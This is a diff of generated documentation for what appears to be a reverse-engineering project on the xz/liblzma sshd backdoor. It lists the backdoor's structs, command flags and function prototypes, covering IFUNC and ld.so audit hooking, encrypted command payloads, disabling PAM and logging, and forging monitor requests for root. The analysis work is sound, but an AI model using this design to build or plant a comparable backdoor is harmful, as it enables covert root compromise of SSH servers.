Definition: xzre.h:1325
+void * sshd_data_end
sshd data segment start
Definition: xzre.h:1337
+char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1317
+void * sshd_code_end
sshd code segment end
Definition: xzre.h:1329
+u64 current_data_size
number of body bytes copied to payload_data. will point to the digest at the end
Definition: xzre.h:1362
+void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1345
-
-void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:650
-void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:654
-void * got_ptr
points to the Global Offset Table
Definition: xzre.h:643
-ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:659
-
-
-BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2192
-u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2181
-u8 * start_addr
start of the code address range to search
Definition: xzre.h:2171
-u8 * end_addr
start of the code address range to search
Definition: xzre.h:2176
-u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2186
-
-
-the payload header. also used as Chacha IV
Definition: xzre.h:1859
-the contents of the RSA 'n' field
Definition: xzre.h:1891
-
-u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1474
-unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1493
-u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1452
-char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1510
-size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1522
-u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1440
-struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1484
-void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1467
-u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1435
-u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1457
-
+
+void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:654
+void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:658
+void * got_ptr
points to the Global Offset Table
Definition: xzre.h:647
+ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:663
+
+
+BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2227
+u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2216
+u8 * start_addr
start of the code address range to search
Definition: xzre.h:2206
+u8 * end_addr
start of the code address range to search
Definition: xzre.h:2211
+u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2221
+
+
+
+the payload header. also used as Chacha IV
Definition: xzre.h:1867
+the contents of the RSA 'n' field
Definition: xzre.h:1905
+
+u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1482
+unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1501
+u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1460
+char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1518
+size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1530
+u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1448
+struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1492
+void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1475
+u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1443
+u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1465
+
Structure to hold internal state of the check being calculated.
Definition: xzre.h:280
State for the internal SHA-256 implementation.
Definition: xzre.h:268
uint64_t size
Size of the message excluding padding.
Definition: xzre.h:273
-
-data used within sshd_proxy_elevate
Definition: xzre.h:1995
-struct monitor from openssh-portable
Definition: xzre.h:583
-stack frame layout for run_backdoor_commands
Definition: xzre.h:2032
-
-struct sensitive_data from openssh-portable
Definition: xzre.h:595
-
-
-
-
-
-struct sshkey from openssh-portable
Definition: xzre.h:606
-
-void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1687
-EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1682
-void * xref
location of the instruction that referenced the string
Definition: xzre.h:1695
-void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1691
-
-union used within run_backdoor_commands
Definition: xzre.h:2019
-represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1828
-u32 index
Definition: xzre.h:1830
-u32 byte_index
Definition: xzre.h:1835
-u32 bit_index
Definition: xzre.h:1833
-
-
-
+
+data used within sshd_proxy_elevate
Definition: xzre.h:2030
+struct monitor from openssh-portable
Definition: xzre.h:587
+stack frame layout for run_backdoor_commands
Definition: xzre.h:2067
+
+struct sensitive_data from openssh-portable
Definition: xzre.h:599
+
+
+
+
+
+struct sshkey from openssh-portable
Definition: xzre.h:610
+
+void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1695
+EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1690
+void * xref
location of the instruction that referenced the string
Definition: xzre.h:1703
+void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1699
+
+union used within run_backdoor_commands
Definition: xzre.h:2054
+represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1836
+u32 index
Definition: xzre.h:1838
+u32 byte_index
Definition: xzre.h:1843
+u32 bit_index
Definition: xzre.h:1841
+
+
+
BOOL elf_find_function_pointer(StringXrefId xref_id, void **pOutCodeStart, void **pOutCodeEnd, void **pOutFptrAddr, elf_info_t *elf_info, string_references_t *xrefs, global_context_t *ctx)
this function searches for a function pointer, pointing to a function designated by the given xref_id
fake_lzma_allocator_t * get_lzma_allocator_address(void)
gets the address of the fake LZMA allocator
BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info)
Parses the given in-memory ELF file into elf_info.
@@ -2422,6 +2455,7 @@
BOOL is_payload_message(u8 *sshbuf_data, size_t sshbuf_size, size_t *pOutPayloadSize, global_context_t *ctx)
checks if the given sshbuf buffer contains a backdoor payload message
void * dummy_tls_get_addr(tls_index *ti)
a dummy function that calls __tls_get_addr, to make sure its GOT slot doesn't get removed by compiler...
BOOL resolve_libc_imports(struct link_map *libc, elf_info_t *libc_info, libc_imports_t *imports)
parses the libc ELF from the supplied link map, and resolves its imports
+struct key_payload_hdr backdoor_payload_hdr_t
the payload header. also used as Chacha IV
void update_got_offset(elf_entry_ctx_t *ctx)
updates the offset to the GOT
struct gnu_hash_table gnu_hash_table_t
BOOL find_link_map_l_name(backdoor_data_handle_t *data_handle, ptrdiff_t *libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find struct link_map offsets required to modify ld.so's private struct auditstate state.
@@ -2448,13 +2482,12 @@
ElfId
Definition: xzre.h:400
@ X_ELF_MAIN
this is for sshd itself
Definition: xzre.h:405
int init_hooks_ctx(backdoor_hooks_ctx_t *ctx)
Initializes the structure with hooks-related data.
-CommandFlags2
Definition: xzre.h:1922
-@ X_FLAGS2_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1932
-@ X_FLAGS2_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1946
-@ X_FLAGS2_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1941
-@ X_FLAGS2_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1953
-@ X_FLAGS2_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1927
-struct key_payload_hdr key_payload_hdr_t
the payload header. also used as Chacha IV
+CommandFlags2
Definition: xzre.h:1957
+@ X_FLAGS2_CHANGE_MONITOR_REQ
if set, changes the monitor_reqtype field from MONITOR_REQ_AUTHPASSWORD to what's contained in the pa...
Definition: xzre.h:1967
+@ X_FLAGS2_PSELECT
executes pselect, then exit not compatible with command 2
Definition: xzre.h:1981
+@ X_FLAGS2_CONTINUATION
more data available in the following packet not compatible with command 3
Definition: xzre.h:1976
+@ X_FLAGS2_SOCKFD_MASK
(0111_1000 >> 3) & 0xF when CMDF_SOCKET_INDEX is specified
Definition: xzre.h:1988
+@ X_FLAGS2_IMPERSONATE
if set, impersonate a user (info from payload) if not set, impersonate root
Definition: xzre.h:1962
BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx)
finds a call instruction
const elf_functions_t elf_functions
special .data.rel.ro section that contains addresses to various functions
ssize_t fd_read(int fd, void *buffer, size_t count, libc_imports_t *funcs)
reads data from the specified file descriptor
@@ -2471,12 +2504,12 @@
BOOL is_range_mapped(u8 *addr, u64 length, global_context_t *ctx)
verify if a memory range is mapped
int sshd_get_sensitive_data_score_in_do_child(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if do_child accesses sensitive_data or not
BOOL sshd_find_sensitive_data(elf_info_t *sshd, elf_info_t *libcrypto, string_references_t *refs, imported_funcs_t *funcs, global_context_t *ctx)
locates sensitive_data within sshd, and resolves some additional libcrypto functions
-CommandFlags1
Definition: xzre.h:1899
-@ X_FLAGS1_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1907
-@ X_FLAGS1_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1919
-@ X_FLAGS1_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1911
-@ X_FLAGS1_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1903
-@ X_FLAGS1_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1915
+CommandFlags1
Definition: xzre.h:1934
+@ X_FLAGS1_SETLOGMASK
disable all logging by setting mask 0x80000000
Definition: xzre.h:1942
+@ X_FLAGS1_NO_EXTENDED_SIZE
if set, the union size field must be 0
Definition: xzre.h:1954
+@ X_FLAGS1_SOCKET_INDEX
custom monitor socket index override
Definition: xzre.h:1946
+@ X_FLAGS1_8BYTES
the data block contains 8 additional bytes
Definition: xzre.h:1938
+@ X_FLAGS1_DISABLE_PAM
if set, disables PAM authentication
Definition: xzre.h:1950
void update_cpuid_got_index(elf_entry_ctx_t *ctx)
get the cpuid() GOT index
BOOL sshd_proxy_elevate(monitor_data_t *args, global_context_t *ctx)
forges a new MONITOR_REQ_KEYALLOWED packet, and injects it into the server to gain root privileges th...
uintptr_t backdoor_symbind64(Elf64_Sym *sym, unsigned int ndx, uptr *refcook, uptr *defcook, unsigned int flags, const char *symname)
the backdoored symbind64 installed in GLRO(dl_audit)
@@ -2493,8 +2526,9 @@
BOOL sshd_find_main(u8 **code_start_out, elf_info_t *sshd, elf_info_t *libcrypto, imported_funcs_t *imported_funcs)
finds the sshd_main function
BOOL find_lea_instruction_with_mem_operand(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, void *mem_address)
finds a LEA instruction with an immediate memory operand
const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
special .rodata section that contains _cpuid() related GOT offsets
+BOOL decrypt_payload_message(key_payload_t *payload, size_t payload_size, global_context_t *ctx)
decrypts the given backdoor payload
BOOL sshd_get_sensitive_data_address_via_krb5ccname(u8 *data_start, u8 *data_end, u8 *code_start, u8 *code_end, void **sensitive_data_out, elf_info_t *elf)
finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME )
-struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1665
+struct backdoor_data backdoor_data_t
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1673
u8 * find_string_reference(u8 *code_start, u8 *code_end, const char *str)
finds an instruction that references the given string
int sshd_get_sensitive_data_score(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if accesses sensitive_data or not
BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx)
obtains a decrypted copy of the secret data
@@ -2511,7 +2545,6 @@
const u64 string_mask_data[238]
contains mask data for the encoded string radix tree
int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m)
runs the payload received from sshd_proxy_elevate, and then runs the original mm_answer_keyallowed fu...
BOOL chacha_decrypt(u8 *in, int inl, u8 *key, u8 *iv, u8 *out, imported_funcs_t *funcs)
decrypts a buffer with chacha20
-BOOL decrypt_payload_message(void *payload, size_t payload_size, global_context_t *ctx)
decrypts the given backdoor payload
BOOL sshd_patch_variables(BOOL skip_root_patch, BOOL disable_pam, BOOL replace_monitor_reqtype, int monitor_reqtype, global_context_t *global_ctx)
Patches the sshd configuration.
void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d)
actually calls cpuid instruction
unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame)
the backdoor entrypoint function, called by the IFUNC resolver for liblzma crc32() and crc64()
@@ -2528,15 +2561,15 @@
int sshd_get_sensitive_data_score_in_main(void *sensitive_data, elf_info_t *elf, string_references_t *refs)
obtains a numeric score which indicates if main accesses sensitive_data or not
BOOL sshd_get_client_socket(global_context_t *ctx, int *pSocket, int socket_index, enum SocketMode socket_direction)
Get either the read or write end of the sshd connection.
const ptrdiff_t fake_lzma_allocator_offset
special .data.rel.ro section that contains the offset to fake_lzma_allocator_struct
-struct key_payload key_payload_t
the contents of the RSA 'n' field
const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts
special .rodata section that contains __tls_get_addr() related GOT offsets
BOOL is_gnu_relro(Elf64_Word p_type, u32 addend)
checks if the provided identifiers represent a PT_GNU_RELRO
void * find_addr_referenced_in_mov_instruction(StringXrefId id, string_references_t *refs, void *mem_range_start, void *mem_range_end)
find an address referenced in a function
u32 resolver_call_count
counts the number of times the IFUNC resolver is called
BOOL sshd_configure_log_hook(cmd_arguments_t *cmd_flags, global_context_t *ctx)
configure the log hook
-CommandFlags3
Definition: xzre.h:1956
-@ X_FLAGS3_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1964
-@ X_FLAGS3_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1960
+struct key_payload backdoor_payload_t
the contents of the RSA 'n' field
+CommandFlags3
Definition: xzre.h:1991
+@ X_FLAGS3_MONITOR_REQ_VAL
6 bits used to store the monitor req / 2 (might be unused)
Definition: xzre.h:1999
+@ X_FLAGS3_SOCKET_NUM
5 bits used to store number of sockets (in cmd3)
Definition: xzre.h:1995
struct monitor_data monitor_data_t
data used within sshd_proxy_elevate
const u64 cpuid_random_symbol
a bogus global variable that is used by the backdoor to generate an extra symbol
void * elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Gets the GOT symbol with name encoded_string_id from the parsed ELF file.